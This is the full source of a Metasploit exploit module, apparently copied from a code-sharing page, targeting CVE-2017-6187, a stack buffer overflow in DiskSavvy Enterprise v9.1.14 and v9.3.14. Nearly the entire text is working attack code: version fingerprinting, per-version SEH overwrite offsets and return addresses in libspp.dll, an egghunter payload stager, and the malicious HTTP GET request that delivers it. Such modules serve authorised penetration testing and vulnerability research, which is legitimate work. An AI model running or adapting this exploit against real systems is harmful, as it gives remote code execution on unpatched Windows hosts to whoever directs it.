Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::Seh
10
  include Msf::Exploit::Remote::Egghunter
11
  include Msf::Exploit::Remote::HttpClient
12

13
  def initialize(info = {})
14
    super(update_info(info,
15
      'Name'           => 'DiskSavvy Enterprise GET Buffer Overflow',
16
      'Description'    => %q{
17
          This module exploits a stack-based buffer overflow vulnerability
18
        in the web interface of DiskSavvy Enterprise v9.1.14 and v9.3.14,
19
        caused by improper bounds checking of the request path in HTTP GET
20
        requests sent to the built-in web server. This module has been
21
        tested successfully on Windows XP SP3 and Windows 7 SP1.
22
      },
23
      'License'        => MSF_LICENSE,
24
      'Author'         =>
25
        [
26
          'vportal',      # Vulnerability discovery and PoC
27
          'Gabor Seljan'  # Metasploit module
28
        ],
29
      'References'     =>
30
        [
31
          ['CVE', '2017-6187'],
32
          ['EDB', '40869']
33
        ],
34
      'DefaultOptions' =>
35
        {
36
          'EXITFUNC' => 'thread'
37
        },
38
      'Platform'       => 'win',
39
      'Payload'        =>
40
        {
41
          'BadChars'   => "\x00\x09\x0a\x0d\x20",
42
          'Space'      => 500
43
        },
44
      'Targets'        =>
45
        [
46
          [
47
            'Automatic Targeting',
48
            {
49
              'auto' => true
50
            }
51
          ],
52
          [
53
            'DiskSavvy Enterprise v9.1.14',
54
            {
55
              'Offset' => 542,
56
              'Ret'    => 0x101142c0  # POP # POP # RET [libspp.dll]
57
            }
58
          ],
59
          [
60
            'DiskSavvy Enterprise v9.3.14',
61
            {
62
              'Offset' => 2478,
63
              'Ret'    => 0x101142ff  # POP # POP # RET [libspp.dll]
64
            }
65
          ]
66
        ],
67
      'Privileged'     => true,
68
      'DisclosureDate' => '2016-12-01',
69
      'DefaultTarget'  => 0))
70
  end
71

72
  def check
73
    res = send_request_cgi(
74
      'method' => 'GET',
75
      'uri'    => '/'
76
    )
77

78
    if res && res.code == 200
79
      version = res.body[/Disk Savvy Enterprise v[^<]*/]
80
      if version
81
        vprint_status("Version detected: #{version}")
82
        if version =~ /9\.(1|3)\.14/
83
          return Exploit::CheckCode::Appears
84
        end
85
        return Exploit::CheckCode::Detected
86
      end
87
    else
88
      vprint_error('Unable to determine due to a HTTP connection timeout')
89
      return Exploit::CheckCode::Unknown
90
    end
91

92
    Exploit::CheckCode::Safe
93
  end
94

95
  def exploit
96
    mytarget = target
97

98
    if target['auto']
99
      mytarget = nil
100

101
      print_status('Automatically detecting the target...')
102

103
      res = send_request_cgi(
104
        'method' => 'GET',
105
        'uri'    => '/'
106
      )
107

108
      if res && res.code == 200
109
        if res.body =~ /Disk Savvy Enterprise v9\.1\.14/
110
          mytarget = targets[1]
111
        elsif res.body =~ /Disk Savvy Enterprise v9\.3\.14/
112
          mytarget = targets[2]
113
        end
114
      end
115

116
      if !mytarget
117
        fail_with(Failure::NoTarget, 'No matching target')
118
      end
119

120
      print_status("Selected target: #{mytarget.name}")
121
    end
122

123
    eggoptions = {
124
      checksum: true,
125
      eggtag: rand_text_alpha(4, payload_badchars)
126
    }
127

128
    hunter, egg = generate_egghunter(
129
      payload.encoded,
130
      payload_badchars,
131
      eggoptions
132
    )
133

134
    sploit =  make_nops(10)
135
    sploit << egg
136
    sploit << rand_text_alpha(mytarget['Offset'] - egg.length)
137
    sploit << generate_seh_record(mytarget.ret)
138
    sploit << make_nops(8)
139
    sploit << hunter
140
    sploit << rand_text_alpha(4500)
141

142
    print_status('Sending malicious request...')
143

144
    send_request_cgi(
145
      'method' => 'GET',
146
      'uri'    => sploit
147
    )
148
  end
149
end
150

151